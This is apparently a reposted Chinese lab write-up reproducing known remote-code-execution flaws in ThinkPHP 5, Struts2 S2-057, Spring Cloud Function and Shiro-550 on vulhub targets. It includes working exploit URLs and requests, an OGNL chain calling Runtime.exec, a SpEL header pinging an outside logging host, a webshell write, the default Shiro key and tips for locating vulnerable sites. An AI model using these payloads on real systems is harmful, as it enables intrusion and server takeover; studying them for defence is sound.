我的编程空间,编程开发者的网络收藏夹
学习永远不晚

生命在于学习——框架-中间件的学习(一)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

生命在于学习——框架-中间件的学习(一)

在这里插入图片描述

声明:本篇文章仅用于学习笔记记录,不得用于其他用途。

一、什么是框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。如图片验证码 , 数据库交互语句等。
PS:简单来说,就是可以直接使用一些完整的方法的东西。

二、Thinkphp

1、Thinkphp框架介绍

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
PS:总之就是很优秀。

2、TP5 rce

(1)简介

thinkphp5披露出的最多的漏洞就是rce , 其中的影响的版本范围非常广

0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
不同版本 payload 不同,且5.13版本后还与debug模式有关

(2)Thinkphp5 5.0.22/5.1.29 rce复现

a.环境搭建

cd vulhub-master/thinkphp/5-rce
docker-compose up -d

b.漏洞原理

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件

c.poc

http://192.168.23.132:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
在这里插入图片描述
上述poc只是简单的运行了phpinfo , 我们可以修改payload , 进而实现漏洞的利用
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
在这里插入图片描述
如果想要写入一句话木马 , 可以使用以下payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo “” >1.php
在这里插入图片描述
在这里插入图片描述

(3)Thinkphp5 5.0.23 rce复现

a.环境搭建

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d

b.poc

http://ip:port/index.php?s=captcha
post请求
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1
在这里插入图片描述
执行系统命令
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
在这里插入图片描述

3、TP的综合利用工具

上面是我们手动测试payload实现的攻击 , 可以把这些整合到一个工具中 , 实现真多thinkphp可能存在的所有漏洞的扫描 , 推荐几个比较好用的工具 , 但是要记住 , 工具是会存在误报的

ThinkPHP.V2.0.by.jarThinkphpGUI-1.3-SNAPSHOT.jar

在这里插入图片描述

在这里插入图片描述

4、实战挖洞

挖到一个。
在这里插入图片描述
如果给你一个网站你如何识别是否使用了thinkphp框架

1.使用指纹识别插件 Wappalyzer2.通过构建报错的url , 根据报错信息判断3.抓包查看server响应头4.根据tp的默认icon5.路由格式....

三、struts2

1、struts2框架介绍

Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用框架。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。
Struts 2 是一个基于MVC设计模式的web应用框架:
MVC:模型(Model)、视图(View)、控制器(Controller):

  • 模型 — 属于软件设计模式的底层基础,主要负责数据维护。
  • 视图 — 这部分是负责向用户呈现全部或部分数据。
  • 控制器 — 通过软件代码控制模型和视图之间的交互。

2、struts2 rce

Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062
不同的Struts 2 版本对应的payload是不同的

(1)S2-057远程执行代码漏洞复现

a.环境搭建
cd vulhub-master/struts2/s2-057docker-compose up -d
b.漏洞原理
S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令执行。S2-057 先决条件 : alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞
c.补充
OGNL表达式  OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。  它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。  OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ 这三个符号的使用:    #:获得contest中的数据;    %:强制字符串解析成OGNL表达式;    $:在配置文件中可以使用OGNL表达式。
d.访问靶场
http://192.168.23.132:8080/struts2-showcase

在这里插入图片描述

e.poc
http://192.168.23.132:8080/struts2-showcase/${(123+123)}/actionChain1.action

在这里插入图片描述

可以看到中间数字位置相加了 , 说明我们中间的表达式正确的执行了 , 那么我们可以构建可以执行系统命令的表达式进行rce

f.exp
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在这里插入图片描述

3、综合利用工具

因为s2系列漏洞很多 , 如果全部记下所有的poc和exp非常的不容易 , 而且实战中效率很低 , 这个时候我们可以采用综合利用工具 , 对当前网站测试所有的s2漏洞

Struts 2_v18.09.jar

burp被动插件

Struts Finder

4、判断

给你一个网站你怎么判断是否使用了struts2框架

1.通过网页后缀来判断,如 .do .action,有可能不准。2.判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。3.通过 actionErrors,要求是对应的 Action 需要继承自 ActionSupport 类。如原始 URL 为 https://threathunter.org/则检测所用的 URL 为 https://threathunter.org/?actionErrors=1111;如果返回的页面出现异常,则可以认定为目标是基于 Struts2 构建的。异常包括但不限于以下几种现象:页面直接出现 404 或者 500 等错误。页面上输出了与业务有关错误消息,或者 1111 被回显到了页面上。页面的内容结构发生了明显的改变。页面发生了重定向。

四、.spring

1、spring框架介绍

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。
2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。
因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等

2、SpEL是什么?

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下:

  1. 表达式:可以认为就是传入的字符串内容;
  2. 解析器︰将字符串解析为表达式内容;
  3. 上下文:表达式对象执行的环境;
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

3、spring rce

(1)Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)复现

a.环境搭建
cd vulhub-master/spring/CVE-2022-22963docker-compose up -d
b.漏洞原理
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码
c.访问靶场
http://192.168.23.132:8080/

在这里插入图片描述

d.poc

发送如下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行:

POST /functionRouter HTTP/1.1Host: 192.168.23.132:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping y689bh1h.eyes.sh")Content-Type: text/plainContent-Length: 4test

在这里插入图片描述

在这里插入图片描述

4、综合利用工具

spring相关的漏洞很多 , 我们上面复现的漏洞 , 在该工具中没有对应的利用方式 , 使用CVE-2022-22947进行演示
漏洞环境

cd vulhub-master/spring/CVE-2022-22947docker-compose up -d

利用工具

SpringBootExploit-1.3-SNAPSHOT-all.jar

在这里插入图片描述

访问

http://192.168.23.132:8080/?cmd=id

在这里插入图片描述

4.4实战挖洞

fofa

icon_hash="116323821"

spring的特征

1.icon 是个小树叶2.默认报错页面....

在这里插入图片描述
在这里插入图片描述

五、shiro

1、shiro介绍

**Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。**Shiro框架直观、易用,同时也能提供健壮的安全性。

2、shiro 反序列化rce

(1)Shiro-550 反序列化rce复现

a.环境搭建
cd vulhub-master/shiro/CVE-2016-4437docker-compose up -d
b.漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理

1、检索RememberMe cookie 的值2、Base64解码3、使用AES解密(加密密钥硬编码)4、进行反序列化操作(未作过滤处理)在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。
c.利用条件
获得aes的加密密钥在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞

尽管目前已经更新了许多版本,官方并没有对反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。
只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞
该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用,是护网三大洞之一
漏洞复现
访问

http://192.168.23.132:8080/login

在这里插入图片描述

输入账号密码 , 抓包

在这里插入图片描述

存在shiro , 这里直接使用工具构造反序列化实现rce
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

注入内存马

在这里插入图片描述

使用冰蝎3.0链接

image-20220905170825883

在这里插入图片描述

3、综合利用工具

burp被动扫描插件

https://github.com/pmiaowu/BurpShiroPassiveScan

shiro利用工具

shiro_attack-4.5.3-SNAPSHOT-all.jar

如果给你一个站点 , 你怎么判断是否使用了shiro

响应包中存在字段 set-Cookie: rememberMe=deleteMe

来源地址:https://blog.csdn.net/qq_15131581/article/details/126725878

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

生命在于学习——框架-中间件的学习(一)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Golang在深度学习框架中的应用探索

go 在深度学习框架中的应用包括:模型训练:利用 go 的并发性和高效性训练复杂模型。模型推理:利用 go 的简洁性和效率部署和评估预训练模型。数据预处理和增强:使用 go 处理和增强机器学习数据。模型评估和筛选:使用 go 评估模型性能并
Golang在深度学习框架中的应用探索
2024-05-12

每天学习一个Android中的常用框架——1.Litepal

文章目录1.简介2.特性3.演示3.1 集成3.2 配置3.3 创建数据库3.4 升级数据库3.5 插入数据3.6 查询数据3.7 更新数据3.8 删除数据4.版本异同5.源码地址 1.简介 Litepal——作为带我入行的第一本教学书籍《
2022-06-06

每天学习一个Android中的常用框架——5.Retrofit

文章目录1.简介2.特性3.演示3.1 集成3.2 配置3.3 布局文件和URL封装3.5 GET请求——传统网络参数3.6 GET请求——RestFul风格3.7 POST请求4.源码地址 1.简介 在介绍Android中相关网络框架的时
2022-06-06

每天学习一个Android中的常用框架——4.OkIo

文章目录1.简介2.特性3.演示3.1 集成3.2 配置3.3 布局文件和URL封装3.4 POST请求提交键值对3.5 POST请求提交字符串3.6 POST请求提交文件3.7 POST请求提交表单4.源码地址 1.简介 在上一篇博客中,
2022-06-06

C++ 生态系统中流行库和框架的学习资源推荐

c++++生态系统中的热门库和框架包括:boost c++库和框架:提供广泛的通用性c++库。stl标准模板库:c++标准库参考。qt框架:跨平台gui开发工具。tensorflow:深度学习和机器学习库。opencv:计算机视觉和图像处理
C++ 生态系统中流行库和框架的学习资源推荐
2024-05-14

每天学习一个Android中的常用框架——6.ButterKnife &amp; Zelezny

文章目录1.简介2.特性3.演示3.1 集成3.2 布局文件和资源文件3.3 ButterKnife的主要功能3.3.0 使用准备3.3.1 View注入3.3.2 资源绑定3.3.3 点击事件绑定3.4 Zelezny4.源码地址 1.简
2022-06-06

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录